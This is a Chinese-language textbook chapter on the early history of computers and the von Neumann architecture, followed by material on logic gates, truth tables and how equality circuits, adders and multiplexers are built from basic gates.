本书中无法对计算机架构的兴起进行全面讨论(有关详细信息请参见其他地方^(6,7));然而,我们简要列举了 20 世纪 30 年代和 40 年代发生的几项重大创新,它们在现代计算机架构的兴起中起到了关键作用。
#### 5.1.1 图灵机
1937 年,英国数学家艾伦·图灵提出了“逻辑计算机”(Logical Computing Machine),即一种理论计算机。图灵通过这个机器证明了“决策问题”(德语称为*Entscheidungsproblem*)没有解决方案,该问题由数学家大卫·希尔伯特和威廉·阿克曼于 1928 年提出。决策问题是一个算法,它接受一个陈述作为输入,判断这个陈述是否是普遍有效的。图灵通过证明*停机问题*(机器*X*在输入*y*时是否会停止?)对于图灵的机器来说是不可判定的,从而证明了不存在这样的算法。作为这个证明的一部分,图灵描述了一个通用机器,它能够执行任何其他计算机的任务。图灵在普林斯顿大学的论文导师阿隆佐·丘奇是第一个将*逻辑计算机*称为*图灵机*的人,并且将其通用形式称为*通用图灵机*。
图灵后来回到英格兰,并在第二次世界大战期间作为布莱切利园密码破译小组的一员为祖国服务。他在设计和建造* Bombe*(一种机电设备,帮助破解恩尼格码机加密信息)方面发挥了重要作用,恩尼格码机是纳粹德国在第二次世界大战期间常用来保护敏感通信的工具。
战后,图灵设计了*自动计算引擎*(ACE)。ACE 是一台存储程序计算机,这意味着程序指令和数据都加载到计算机内存中,并由通用计算机运行。他在 1946 年发表的论文,也许是最详细地描述这种计算机的文献。^(9)
#### 5.1.2 早期电子计算机
第二次世界大战加速了早期计算机的发展。然而,由于第二次世界大战中军事行动的保密性质,许多由于战争期间的激烈活动而发生的创新细节直到多年后才被公开。例如,由英国工程师汤米·弗劳尔斯设计的 Colossus 机器,就是为了帮助破解 Lorenz 密码而建造的,这种密码曾被纳粹德国用于加密高级情报通信。艾伦·图灵的部分工作为其设计提供了帮助。Colossus 建于 1943 年,可以说是第一台可编程的数字全电子计算机。然而,它是一台专用计算机,专门用于密码破译。英国皇家海军女兵(WRNS,俗称“Wrens”)担任 Colossus 的操作员。尽管*《Tunny 总报告》*^(10)指出,几位 Wrens 展现了密码学方面的能力,但她们都未被任命为密码分析员,而是被分配到了更为琐碎的 Colossus 操作任务。^(11,12)
在大西洋的另一端,美国的科学家和工程师们也在努力设计自己的计算机。哈佛大学教授霍华德·艾肯(Howard Aiken)(他也是美国海军预备役的海军指挥官)设计了 Mark I,这是一台电子机械的通用可编程计算机。Mark I 于 1944 年建成,帮助设计了原子弹。艾肯在设计计算机时大多并未了解图灵的研究,并且他的动机是将查尔斯·巴贝奇的分析机付诸实践。Mark I 的一个关键特点是它是全自动的,能够在没有人工干预的情况下连续运行数天。这一特性为未来计算机设计奠定了基础。
与此同时,宾夕法尼亚大学的美国工程师约翰·莫赫利(John Mauchly)和普雷斯珀·艾克特(Presper Eckert)于 1945 年设计并建造了*电子数值积分和计算机*(ENIAC)。ENIAC 可以说是现代计算机的先驱。它是数字化的(虽然它使用十进制而非二进制)、完全电子化的、可编程的,并且是通用的。虽然 ENIAC 的原始版本没有存储程序功能,但在十年结束前这一功能已经被加入其中。ENIAC 是由美国陆军弹道研究实验室资助和建造的,主要用于计算弹道轨迹。后来,它还被用来帮助氢弹的设计。
在第二次世界大战期间,随着男性被征召入伍,女性被聘用为人类计算机,帮助战争努力。随着第一台电子计算机的问世,女性成为了第一批程序员,因为编程被认为是秘书工作。毫不奇怪,许多早期的编程创新,如第一个编译器、程序模块化的概念、调试和汇编语言,都是女性发明家的功劳。例如,**格蕾丝·霍普**(Grace Hopper)开发了第一个高级的、机器无关的编程语言(COBOL)及其编译器。霍普还是 Mark I 的程序员,并编写了描述其操作的书籍。
ENIAC 的程序员是六位女性:Jean Jennings Bartik、Betty Snyder Holberton、Kay McNulty Mauchly、Frances Bilas Spence、Marlyn Wescoff Meltzer 和 Ruth Lichterman Teitelbaum。与 Wrens 不同,ENIAC 的女性程序员在任务中拥有较大的自主权;她们仅获得了 ENIAC 的接线图,被告知要弄明白它是如何工作的,并且如何进行编程。除了她们在解决如何编程(和调试)世界上最早的电子通用计算机之一的问题上所做的创新外,ENIAC 的程序员们还提出了算法流程图的概念,并且开发了子程序和嵌套等重要的编程概念。像 Grace Hopper 一样,Jean Jennings Bartik 和 Betty Snyder Holberton 也继续在计算机领域有着长久的职业生涯,成为早期的计算机先驱。不幸的是,女性在早期计算机领域的贡献至今仍未完全为人所知。在二战后,由于无法得到更好的发展,许多女性离开了这个领域。我们鼓励读者更多了解早期女性程序员的故事。^(14,15,16)
英国人和美国人并不是唯一对计算机潜力感兴趣的国家。在德国,Konrad Zuse 开发了第一台电机机械式通用数字可编程计算机 Z3,该计算机于 1941 年完成。Zuse 的设计独立于图灵等人的工作。值得注意的是,Zuse 的设计使用了二进制(而不是十进制),它是第一台使用二进制系统的计算机。然而,Z3 在柏林遭到空袭时被摧毁,Zuse 无法继续他的工作,直到 1950 年才得以恢复。直到多年后,他的工作才逐渐得到认可。Zuse 被广泛认为是德国计算机学的奠基人。
#### 5.1.3 那么冯·诺依曼知道什么?
从我们对现代计算机架构起源的讨论中可以看出,在 1930 年代和 1940 年代,确实有若干创新促成了我们今天所知的计算机的崛起。1945 年,John von Neumann 发表了一篇论文《EDVAC 报告的初稿》^(17),该论文描述了现代计算机所基于的一种架构。EDVAC 是 ENIAC 的继任者,与 ENIAC 不同,它是一台二进制计算机,而不是十进制计算机,并且它是一台存储程序计算机。如今,这种对 EDVAC 架构设计的描述被称为冯·诺依曼架构。
*冯·诺依曼架构* 描述了一种通用计算机,它旨在运行任何程序。它还采用了存储程序模型,这意味着程序指令和数据都被加载到计算机中以供运行。在冯·诺依曼模型中,指令和数据没有区别;它们都被加载到计算机的内部存储器中,程序指令从存储器中取出并由计算机的功能单元执行,这些功能单元在程序数据上执行程序指令。
约翰·冯·诺依曼的贡献贯穿了计算机发展史上的多个故事。他是匈牙利数学家,曾在高等研究院和普林斯顿大学担任教授,也是艾伦·图灵的早期导师。后来,冯·诺依曼成为曼哈顿计划的研究科学家,这使他与霍华德·艾肯和马克 I 产生了联系;他随后还担任了 ENIAC 项目的顾问,并与埃克特和毛奇定期通信。他著名的关于 EDVAC 的论文来源于他在电子离散变量自动计算机(EDVAC)上的研究,这个项目是由埃克特和毛奇提议给美国陆军,并在宾夕法尼亚大学建造。EDVAC 包括了几个架构设计创新,几乎所有现代计算机的基础都来源于这些创新:它是通用的,使用二进制数字系统,拥有内部存储器,并且完全电气化。很大程度上,因为冯·诺依曼是这篇论文的唯一作者,^(18) 论文中描述的架构设计主要归功于冯·诺依曼,这一设计也因此被称为冯·诺依曼架构。需要注意的是,图灵在 1946 年详细描述了类似机器的设计。然而,由于冯·诺依曼的论文在图灵之前发表,因此冯·诺依曼为这些创新获得了主要的荣誉。
无论谁“真正”发明了冯·诺依曼架构,冯·诺依曼本人的贡献都不应被忽视。他是位杰出的数学家和科学家。他在数学领域的贡献涵盖了集合论、量子力学和博弈论等多个方面。在计算机领域,他也被认为是*归并排序*算法的发明人。沃尔特·艾萨克森认为,冯·诺依曼的一个最大优点是他能够广泛合作,并直觉地看到新概念的重要性。^(19) 许多早期的计算机设计师都是孤立工作。艾萨克森认为,通过目睹马克 I 计算机的缓慢,冯·诺依曼能够直观地意识到真正电子计算机的价值,以及在内存中存储和修改程序的必要性。因此,可以说冯·诺依曼比埃克特和毛奇更早地理解并充分认识到完全电子存储程序计算机的强大功能。
### 5.2 冯·诺依曼架构
冯·诺依曼架构作为大多数现代计算机的基础。在本节中,我们简要描述架构的主要组件。
冯·诺依曼架构(如图 5-1 所示)由五个主要组件组成。
1\. *处理单元* 执行程序指令。
2\. *控制单元* 驱动处理单元执行程序指令。处理单元和控制单元一起构成了中央处理器(CPU)。
3\. *存储单元* 存储程序数据和指令。
4\. *输入单元* 将程序数据和指令加载到计算机中,并启动程序执行。
5\. *输出单元* 存储或接收程序结果。
总线连接各个单元,并且被各个单元用来互相发送控制和数据信息。*总线* 是一种通信通道,用于在通信端点之间传输二进制值(值的发送者和接收者)。例如,连接内存单元和 CPU 的数据总线可以通过 32 根并行线实现,这些线共同传输一个四字节的值,每根线传输一个比特。通常,架构会为发送数据、内存地址和控制信号在单元之间使用不同的总线。单元通过控制总线发送控制信号,向其他单元请求或通知某些操作,地址总线则用来将读写请求的内存地址发送给内存单元,数据总线则用于在单元之间传输数据。

*图 5-1:冯·诺依曼架构由处理单元、控制单元、内存单元、输入单元和输出单元组成。控制单元和处理单元共同组成 CPU,CPU 包括 ALU、通用寄存器以及一些专用寄存器(IR 和 PC)。各单元通过总线连接,用于数据传输和单元之间的通信。*
#### 5.2.1 CPU
控制单元和处理单元共同组成了 CPU,这是计算机执行程序指令和程序数据的部分。
#### 5.2.2 处理单元
*冯·诺依曼机* 的*处理单元*由两个部分组成。第一部分是 *算术/逻辑单元*(ALU),它执行数学运算,例如加法、减法和逻辑或等。现代的 ALU 通常执行一大组算术运算。处理单元的第二部分是一组寄存器。*寄存器* 是一种小型、高速的存储单元,用于保存程序数据和正在被 ALU 执行的指令。至关重要的是,在冯·诺依曼架构中,指令和数据之间没有区别。实际上,指令*就是*数据。因此,每个寄存器都能够存储一个数据字。
#### 5.2.3 控制单元
*控制单元* 通过从内存中加载程序指令并将指令操作数和操作通过处理单元传递,驱动程序指令的执行。控制单元还包括一些存储器,用于跟踪执行状态并确定接下来的操作:*程序计数器*(PC)保存下一个要执行的指令的内存地址,*指令寄存器*(IR)存储从内存加载的、当前正在执行的指令。
#### 5.2.4 内存单元
内存是冯·诺依曼架构的一项关键创新。它提供了靠近处理单元的程序数据存储,显著减少了进行计算所需的时间。*存储单元*存储程序数据和程序指令——存储程序指令是冯·诺依曼架构存储程序模型的关键部分。
内存的大小因系统而异。然而,系统的指令集架构(ISA)限制了它能够表示的地址范围。在现代系统中,最小的可寻址内存单位是一个字节(8 位),因此每个地址对应一个独特的内存位置,用于存储一个字节的数据。因此,32 位架构通常支持最大地址空间大小为 2³²,即 4 吉字节(GiB)的可寻址内存。
*内存*一词有时指的是系统中整个存储层次结构。它可以包括处理单元中的寄存器,以及像硬盘驱动器(HDD)或固态硬盘(SSD)这样的二级存储设备。在第十一章中,我们会详细讨论内存层次结构。现在,我们使用“内存”一词与内部*随机存取内存*(RAM)交替使用——即中央处理单元可以访问的内存。RAM 存储是随机访问的,因为所有 RAM 存储位置(地址)都可以直接访问。可以将 RAM 视为一个线性地址数组,每个地址对应一字节的内存。
历史中的字长
*字长*是由 ISA 定义的,是处理器作为单一单位处理的标准数据大小的位数。标准字长在多年中有所波动。对于 EDVAC,字长被提议为 30 位。在 1950 年代,36 位字长较为常见。随着 1960 年代 IBM 360 的创新,字长变得大致标准化,并开始从 16 位扩展到 32 位,再到今天的 64 位。如果你仔细查看 Intel 架构,可能会注意到一些旧决策的遗留物,因为 32 位和 64 位架构是作为原始 16 位架构的扩展添加的。
#### 5.2.5 输入和输出(I/O)单元
虽然控制、处理和存储单元构成了计算机的基础,但输入和输出单元使其能够与外界互动。特别是,它们提供了将程序的指令和数据加载到内存、将数据存储在内存外部以及将结果展示给用户的机制。
*输入单元*由一组设备组成,使用户或程序能够将外部数据输入计算机。今天最常见的输入设备是键盘和鼠标。摄像头和麦克风是其他例子。
*输出单元*由一组设备组成,它们将计算结果从计算机传送回外部世界,或将结果存储到内部内存之外。例如,显示器是一个常见的输出设备。其他输出设备还包括扬声器和触觉反馈设备。
一些现代设备,如触摸屏,既作为输入设备也作为输出设备,使用户能够通过单一的统一设备输入和接收数据。
固态硬盘和硬盘驱动器是另一个既作为输入设备也作为输出设备的例子。这些存储设备在存储操作系统加载到计算机内存中的程序可执行文件时作为输入设备工作,在存储程序结果被写入的文件时作为输出设备工作。
#### 5.2.6 冯·诺依曼机的实际操作:执行程序
由五个单元组成的冯·诺依曼体系结构协同工作,以实现*获取–解码–执行–存储*的操作循环,执行程序指令。该循环从程序的第一条指令开始,并重复进行,直到程序退出:
1\. 控制单元*获取*下一条指令从内存中。控制单元有一个特殊的寄存器,程序计数器(PC),它包含下一条要获取的指令的地址。它将该地址放置在*地址总线*上,并在*控制总线*上向内存单元发送*读取*命令。内存单元随后读取指定地址处存储的字节,并通过*数据总线*将它们发送到控制单元。指令寄存器(IR)存储从内存单元接收到的指令字节。控制单元还会增加 PC 的值,以存储下一个要获取的指令的地址。
2\. 控制单元*解码*存储在 IR 中的指令。它解码指令位,指示要执行的操作以及操作数的位置。指令位是根据 ISA 定义的指令编码方式进行解码的。控制单元还从其位置(来自 CPU 寄存器、内存或编码在指令位中)获取数据操作数的值,作为处理单元的输入。
3\. 处理单元*执行*指令。ALU 对指令数据操作数执行指令操作。
4\. 控制单元*存储*结果到内存。处理单元执行指令后的结果被存储到内存。控制单元通过将结果值放在*数据总线*上,将存储位置的地址放在*地址总线*上,并将*写入*命令放在*控制总线*上,将结果写入内存。当内存单元接收到这些信息时,它会将值写入指定地址的内存中。
输入输出单元并不直接参与程序指令的执行。相反,它们通过加载程序的指令和数据以及存储或显示程序计算结果的方式,参与程序的执行。
图 5-2 和图 5-3 展示了冯·诺依曼架构执行一个加法指令的四个阶段,该指令的操作数存储在 CPU 寄存器中。在*取指*阶段,控制单元从存储在 PC(1234)中的内存地址读取指令。它通过地址总线发送地址,通过控制总线发送读取命令。内存单元接收到请求,读取地址 1234 处的值,并通过数据总线将其发送给控制单元。控制单元将指令字节放入 IR 寄存器,并用下一个指令的地址(本例中为 1238)更新 PC。在*解码*阶段,控制单元将指令中指定操作的位传递给处理单元的 ALU,并使用指令位指定哪个寄存器存储操作数,从处理单元的寄存器中读取操作数值到 ALU(本例中的操作数为 3 和 4)。在*执行*阶段,处理单元中的 ALU 对操作数执行运算,产生结果(3 + 4 等于 7)。最后,在*存储*阶段,控制单元将处理单元的结果(7)写入内存单元。内存地址(5678)通过地址总线发送,写入命令通过控制总线发送,存储的数据值(7)通过数据总线发送。内存单元接收到该请求,并将 7 存储在内存地址 5678 处。在这个例子中,我们假设用于存储结果的内存地址已经编码在指令位中。

*图 5-2:冯·诺依曼架构执行过程中*取指*和*解码*阶段的示意图,展示了一个加法指令的执行。操作数、结果和内存地址以十进制值表示,内存内容以二进制值表示。*

*图 5-3:冯·诺依曼架构执行过程中*执行*和*存储*阶段的示意图,展示了一个加法指令的执行。操作数、结果和内存地址以十进制值表示,内存内容以二进制值表示。*
### 5.3 逻辑门
*逻辑门*是数字电路的构建块,数字电路在数字计算机中实现算术、控制和存储功能。设计复杂的数字电路涉及高程度的抽象:设计师创建简单的电路,通过一小组基本逻辑门实现基本功能;这些简单电路从其实现中抽象出来,用作创建更复杂电路的构建块(简单电路结合在一起,创建具有更复杂功能的新电路);这些更复杂的电路可以进一步抽象,作为创建更复杂功能的构建块;依此类推,构建处理、存储和控制处理器的完整组件。
晶体管
逻辑门是通过在半导体材料(例如硅芯片)中蚀刻晶体管来创建的。晶体管充当开关,控制电流通过芯片的流动。晶体管可以在开和关之间切换状态(在高电压或低电压输出之间切换)。其输出状态取决于当前状态加上输入状态(高电压或低电压)。二进制值通过这些高(1)和低(0)电压进行编码,逻辑门通过少数几个晶体管的排列来实现,这些晶体管执行切换操作以生成逻辑门的输出。集成电路(芯片)上能够容纳的晶体管数量是其功率的大致衡量标准;每个芯片上的晶体管越多,就有更多的构建块来实现更多的功能或存储。
#### 5.3.1 基本逻辑门
在最低层次,所有电路都是通过将逻辑门连接在一起来构建的。逻辑门对布尔操作数(0 或 1)执行布尔运算。*与*、*或*和*非*构成了一套完整的逻辑门,通过它可以构建任何电路。一个逻辑门有一个(非)或两个(与和或)二进制输入值,并产生一个二进制输出值,这是对其输入的逐位逻辑运算。例如,输入值 0 到非门的输出为 1(1 是非(0))。*真值表*列出了每种输入排列下逻辑运算的值。表 5-1 显示了与、或和非逻辑门的真值表。
**表 5-1:** 与、或、非的真值表
| **A** | **B** | **A 与 B** | **A 或 B** | **非 A** |
| --- | --- | --- | --- | --- |
| 0 | 0 | 0 | 0 | 1 |
| 0 | 1 | 0 | 1 | 1 |
| 1 | 0 | 0 | 1 | 0 |
| 1 | 1 | 1 | 1 | 0 |
图 5-4 展示了计算机架构师如何在电路图中表示这些门。

*图 5-4:与、或、非逻辑门对于单比特输入产生单比特输出*
逻辑门的多位版本(适用于 *M* 位输入和输出)是使用 *M* 个单位的逻辑门构建的简单电路。每个 *M* 位输入值的单个位都会输入到一个不同的单位逻辑门中,生成对应的 *M* 位输出结果。例如,图 5-5 显示了一个由四个 1 位与门构建的四位与门电路。

*图 5-5:由四个 1 位与门构建的四位与门电路*
这种非常简单的电路,主要是通过扩展逻辑门的输入和输出位宽,通常称为针对特定值*M*的 *M* 位门,其中 *M* 指定输入和输出的位宽(位数)。
#### 5.3.2 其他逻辑门
尽管由与(AND)、或(OR)和非(NOT)门组成的逻辑门集合足以实现任何电路,但仍有一些其他基础逻辑门常用于构建数字电路。这些附加的逻辑门包括 NAND(A 与 B 的非运算)、NOR(A 或 B 的非运算)和 XOR(异或)。它们的真值表见表 5-2。
**表 5-2:** NAND、NOR 和 XOR 的真值表
| **A** | **B** | **A NAND B** | **A NOR B** | **A XOR B** |
| --- | --- | --- | --- | --- |
| 0 | 0 | 1 | 1 | 0 |
| 0 | 1 | 1 | 0 | 1 |
| 1 | 0 | 1 | 0 | 1 |
| 1 | 1 | 0 | 0 | 0 |
NAND、NOR 和 XOR 门出现在电路图中,如图 5-6 所示。

*图 5-6:NAND、NOR 和 XOR 逻辑门*
NAND 和 NOR 门末端的圆圈表示取反或非(NOT)操作。例如,NOR 门看起来像一个带圆圈的 OR 门,圆圈表示 NOR 是 OR 的取反。
最小逻辑门子集
NAND、NOR 和 XOR 并不是构建电路的必要条件,但它们是 {与(AND)、或(OR)、非(NOT)} 集合中的附加门,常用于电路设计。在更大的集合 {与(AND)、或(OR)、非(NOT)、NAND、NOR、XOR} 中,还存在其他最小的逻辑门子集,这些子集单独就足以构建任何电路(子集 {与(AND)、或(OR)、非(NOT)} 并不是唯一的,但它是最容易理解的集合)。由于 NAND、NOR 和 XOR 不是必需的,它们的功能可以通过将与、或和非门结合起来,构建实现 NAND、NOR 和 XOR 功能的电路。例如,NOR 可以通过将非门与或门结合来实现,`(A NOR B)` ≡ `NOT(A OR B)`,如图 5-7 所示。

*图 5-7:NOR 门可以通过使用或门和非门来实现。输入 A 和 B 首先通过或门,或门的输出再输入到非门(NOR 是 OR 的取反)。*
今天的集成电路芯片是使用 CMOS 技术构建的,CMOS 技术将 NAND 作为芯片上电路的基本构建块。NAND 门本身构成了一个完整逻辑门的最小子集。
### 5.4 电路
数字电路实现了体系结构的核心功能。它们在硬件中实现了*指令集架构*(ISA),并且在整个系统中实现了存储和控制功能。数字电路的设计涉及多个抽象层次的应用:实现复杂功能的电路是由实现部分功能的小电路构建的,这些小电路又是由更简单的电路构成的,一直到所有数字电路的基本逻辑门构建块。图 5-8 展示了从实现中抽象出来的电路。该电路被表示为一个*黑盒子*,标有其功能或名称,并且只显示输入和输出,隐藏了其内部实现的细节。

*图 5-8:电路是通过将子电路和逻辑门连接在一起实现的。其功能是从实现细节中抽象出来的,可以作为创建其他电路的构建块使用。*
电路构建模块主要分为三类:算术/逻辑电路、控制电路和存储电路。例如,一个处理器集成电路包含这三种子电路:其寄存器组使用存储电路;其实现算术和逻辑功能的核心功能使用算术和逻辑电路;控制电路贯穿处理器,用于驱动指令的执行,并控制在寄存器中加载和存储值。
本节中,我们将讨论这三种类型的电路,展示如何从逻辑门设计一个基本电路,然后如何通过基本电路和逻辑门构建更大的电路。
#### 5.4.1 算术和逻辑电路
算术和逻辑电路实现了一个 ISA 的算术和逻辑指令,这些指令共同构成了处理器的*算术逻辑单元*(ALU)。算术和逻辑电路还实现了 CPU 中其他功能的一部分。例如,算术电路用于在指令执行的第一步中递增程序计数器(PC),并且它们用于通过组合指令操作数位和寄存器值来计算内存地址。
电路设计通常从实现一个 1 位版本的简单电路开始,该电路是由逻辑门构建的。然后,使用这个 1 位电路作为构建块来实现*M*位版本的电路。设计 1 位电路的步骤如下:
1. 设计电路的真值表:确定输入和输出的数量,并为每种输入位的排列添加一个表项,指定输出位的值。
2. 使用真值表,写出每个电路输出为 1 时的表达式,表达式是通过输入值与 AND、OR、NOT 结合得出的。
3\. 将表达式转化为一系列逻辑门,每个门的输入要么来自电路的输入,要么来自前一个逻辑门的输出。
我们遵循以下步骤来实现一个单比特的*等于*电路:逐位比较(`A` `== B`)在 `A` 和 `B` 的值相同时输出 1,否则输出 0。
首先,设计电路的真值表:
**表 5-3:** 简单等式电路的真值表
| **A** | **B** | **A == B 输出** |
| --- | --- | --- |
| 0 | 0 | 1 |
| 0 | 1 | 0 |
| 1 | 0 | 0 |
| 1 | 1 | 1 |
接下来,写出表达式,表示何时 `A == B` 为 1,用 `A` 和 `B` 通过 AND、OR 和 NOT 结合。首先,单独考虑每一行输出为 1 的情况,从真值表的第一行开始:
| **A** | **B** | **A == B** |
| --- | --- | --- |
| 0 | 0 | 1 |
对于该行的输入值,构建一个*合取*表达式,使其输入值为 1。合取通过 AND 运算将评估为 0 或 1 的子表达式结合在一起,只有当两个子表达式都评估为 1 时,合取本身才为 1。首先,表达每个输入何时评估为 1:
NOT(A) # is 1 when A is 0
NOT(B) # is 1 when B is 0
然后,将它们合并(用 AND 运算符结合)得到一个表达式,表示当真值表的这一行评估为 1 时:
NOT(A) AND NOT(B) # is 1 when A and B are both 0
我们对真值表的最后一行做相同的处理,其输出也是 1:
| **A** | **B** | **A == B** |
| --- | --- | --- |
| 1 | 1 | 1 |
A AND B # is 1 when A and B are both 1
最后,创建一个*析取*(OR)将每个合取连接起来,对应于真值表中评估为 1 的行:
(NOT(A) AND NOT(B)) OR (A AND B) # is 1 when A and B are both 0 or both 1
此时我们已经得到了 `A == B` 的表达式,可以将其转化为电路。在此步骤中,电路设计师采用技术简化表达式,创建一个最小等效表达式(即对应最少运算符和/或最短门路径的表达式)。设计师在最小化电路设计时必须非常小心,以确保翻译后的表达式等价。电路最小化有正式的方法,这超出了我们讨论的范围,但我们在开发电路时会采用一些启发式方法。
对于我们的例子,我们直接将前面的表达式转化为电路。我们可能会想将(NOT(A) AND NOT(B))替换为(A NAND B),但请注意,这两个表达式*并不*等价:它们对 A 和 B 的所有排列结果评估并不相同。例如,当 A 为 1 且 B 为 0 时,(A == B) 为 0,而 (A NAND B) 为 1。
为了将表达式转化为电路,从最内层的表达式开始,逐步向外进行转换(最内层的将是第一个门,其输出将作为后续门的输入)。第一组门对应于输入值的否定(A 和 B 的 NOT 门)。接下来,对于每个合取,创建电路的部分,将输入值送入 AND 门。然后将 AND 门的输出送入表示析取的 OR 门。最终的电路如图 5-9 所示。

*图 5-9:由与门、或门和非门构建的一位相等电路(A == B)*
为了验证此电路的正确性,可以通过模拟 A 和 B 输入值的所有可能排列,检查电路输出是否与其在真值表中的对应行一致(即 A == B)。例如,如果 A 为 0 且 B 为 0,则两个 NOT 门会先对它们的值取反,之后输入到上方的与门,因此该与门的输入为(1,1),其输出为 1,这成为输入到或门的上方输入值。A 和 B(0,0)的值直接输入到下方的与门,结果是下方与门的输出为 0,成为或门的下方输入值。因此,或门接收到输入值(1,0),并输出值 1。因此,当 A 和 B 都为 0 时,电路正确地输出 1。此示例在图 5-10 中展示。

*图 5-10:一个示例,展示了一位相等电路如何计算(A == B)。从输入值 A 和 B 都为 0 开始,值通过电路中的门传递,最终计算出正确的输出值 1,表示 A == B。*
将一位相等电路的实现视为一个单元,使其可以从具体实现中抽象出来,从而更容易作为其他电路的构建模块。我们将这一位相等电路的抽象(见图 5-11)表示为一个框,框内有两个输入端口标记为 *A* 和 *B*,一个输出端口标记为 *A == B*。实现一位相等电路的内部门电路在这一抽象视图中被隐藏。

*图 5-11:一位相等电路的抽象。该电路可以作为其他电路的构建模块。*
NAND、NOR 和 XOR 电路的单比特版本可以类似地构造,使用仅有的与(AND)、或(OR)和非(NOT)门,从它们的真值表(见表 5-4)开始,并应用与一位相等电路相同的步骤。
**表 5-4:** NAND、NOR 和 XOR 电路的真值表
| **A** | **B** | **A NAND B** | **A NOR B** | **A XOR B** |
| --- | --- | --- | --- | --- |
| 0 | 0 | 1 | 1 | 0 |
| 0 | 1 | 1 | 0 | 1 |
| 1 | 0 | 1 | 0 | 1 |
| 1 | 1 | 0 | 0 | 0 |
这些电路的多比特版本是通过将多个单比特版本的电路组合而成,这与在《基本逻辑门》一章中,如何通过四个 1 位与门构造四位与门(参见第 243 页)的方式类似。
#### 算术电路
算术电路的构建方法与我们构建逻辑电路时使用的方法完全相同。例如,要构建一个 1 位加法器电路,首先从单个位加法的真值表开始,该真值表有两个输入值 A 和 B,以及两个输出值,一个用于 A 和 B 的 SUM,另一个用于溢出或 CARRY OUT。表 5-5 显示了 1 位加法的真值表。
**表 5-5:** 1 位加法器电路的真值表
| **A** | **B** | **SUM** | **CARRY OUT** |
| --- | --- | --- | --- |
| 0 | 0 | 0 | 0 |
| 0 | 1 | 1 | 0 |
| 1 | 0 | 1 | 0 |
| 1 | 1 | 0 | 1 |
在下一步中,对于每个输出,SUM 和 CARRY OUT,创建输出值为 1 时的逻辑表达式。这些表达式表示为输入值每行合取的析取:
SUM: (NOT(A) AND B) OR (A AND NOT(B)) # 1 when exactly one of A or B is 1
CARRY OUT: A AND B # 1 when both A and B are 1
CARRY OUT 的表达式无法简化。然而,SUM 的表达式更复杂,但可以简化,从而导致更简洁的电路设计。首先需要注意的是,SUM 输出也可以表示为(A XOR B)。如果我们有一个 XOR 门或电路,将 SUM 表示为(A XOR B)会使加法器电路设计更简单。如果没有,则使用 AND、OR 和 NOT 的表达式,并通过 AND、OR 和 NOT 门实现。
假设我们有一个 XOR 门,可以用来实现 1 位加法器电路。所得到的电路如图 5-12 所示。

*图 5-12:1 位加法器电路有两个输入,A 和 B,以及两个输出,SUM 和 CARRY OUT。*
1 位加法器电路可以作为更复杂电路的构建模块。例如,我们可能希望创建*N*位加法器电路,以对不同大小的值进行加法运算(例如,一字节、两字节或四字节的加法器电路)。然而,从*N*个 1 位加法器电路构建*N*位加法器电路比从*N*个 1 位逻辑电路构建*N*位逻辑电路需要更多的注意。
在进行多位加法(或减法)时,单独的位从最低有效位到最高有效位依次相加。随着逐位加法的进行,如果第*i*位的和产生了一个进位值 1,那么在第(*i* + 1)位时,将额外加 1。换句话说,第*i*位加法器电路的进位输出是第(*i* + 1)位加法器电路的输入值。
因此,为了实现一个多位加法器电路,我们需要一个新的 1 位加法器电路,它有三个输入:A、B 和 CARRY IN。为此,按照之前描述的步骤创建一个 1 位加法器电路,具有三个输入(A、B、CARRY IN)和两个输出(SUM 和 CARRY OUT),从所有可能的输入排列的真值表开始。我们将电路设计留给读者作为练习,但我们在图 5-13 中展示了它作为 1 位加法器电路的抽象形式。

*图 5-13:具有三个输入(A、B 和 CARRY IN)和两个输出(SUM 和 CARRY OUT)的单一位加法器电路。*
使用这种一位加法器电路作为构建模块,我们可以通过将相应的操作数位输入到各个一位加法器电路中,构建一个*N*位加法器电路,并将第*i*个一位加法器电路的进位输出(CARRY OUT)值输入到第(*i* + 1)个一位加法器电路的进位输入(CARRY IN)值中。对于第 0 位的加法器电路,其进位输入(CARRY IN)值来自 CPU 电路的另一个部分,该部分解码 ADD 指令。
这种类型的*N*位加法器电路,是由*N*个一位加法器电路构建的,称为*波纹进位加法器*,如图 5-14 所示。和波纹一样,和(SUM)结果*波动*或传播从低位到高位。只有在计算出和(SUM)和进位输出(CARRY OUT)值的第 0 位之后,和(SUM)和进位输出(CARRY OUT)值的第 1 位才会被正确计算出来。这是因为第 1 位的进位输入(CARRY IN)来自第 0 位的进位输出(CARRY OUT),之后更高位的结果依此类推。

*图 5-14:由四个 1 位加法器电路构成的四位波纹进位加法器电路*
其他算术和逻辑功能的电路是通过组合电路和逻辑门以类似的方式构建的。例如,可以通过加法器和取反电路构建一个计算(A - B)的减法电路,方法是将减法表示为(A +(-B))。
#### 5.4.2 控制电路
控制电路在整个系统中都有应用。在处理器中,它们驱动程序指令对程序数据的执行。它们还控制将值加载和存储到不同级别的存储器(寄存器、缓存和 RAM 之间),并控制系统中的硬件设备。与算术和逻辑电路类似,实现复杂功能的控制电路是通过组合更简单的电路和逻辑门构建的。
*多路选择器*(MUX)是一个控制电路的例子,它从多个值中选择或挑选一个。CPU 可以使用多路选择器电路选择从哪个 CPU 寄存器读取指令操作数值。
一个*N*路多路选择器有一组*N*个输入值,并从其中一个输入中选择一个作为输出值。一个额外的输入值,*选择*(S),编码了从*N*个输入中选择哪个输入作为输出。
最基本的二路多路选择器在两个 1 位输入(A 和 B)之间进行选择。二路多路选择器的选择输入是一个单比特:如果 S 输入为 1,它将选择 A 作为输出;如果 S 输入为 0,它将选择 B 作为输出。下表展示了一个二路 1 位多路选择器的真值表。选择位(S)的值决定选择 A 或 B 作为 MUX 的输出值。
| **A** | **B** | **S** | **Out** |
| --- | --- | --- | --- |
| 0 | 0 | 0 | 0(B 的值) |
| 0 | 1 | 0 | 1(B 的值) |
| 1 | 0 | 0 | 0(B 的值) |
| 1 | 1 | 0 | 1(B 的值) |
| 0 | 0 | 1 | 0(A 的值) |
| 0 | 1 | 1 | 0(A 的值) |
| 1 | 0 | 1 | 1 (A 的值) |
| 1 | 1 | 1 | 1 (A 的值) |
图 5-15 展示了用于单比特输入的双向多路复用器电路。

*图 5-15:双向 1 位多路复用器电路。信号输入(S)的值用于选择其两个输入(A 或 B)中的一个作为电路的输出值:当 S 为 1 时,选择 A;当 S 为 0 时,选择 B。*
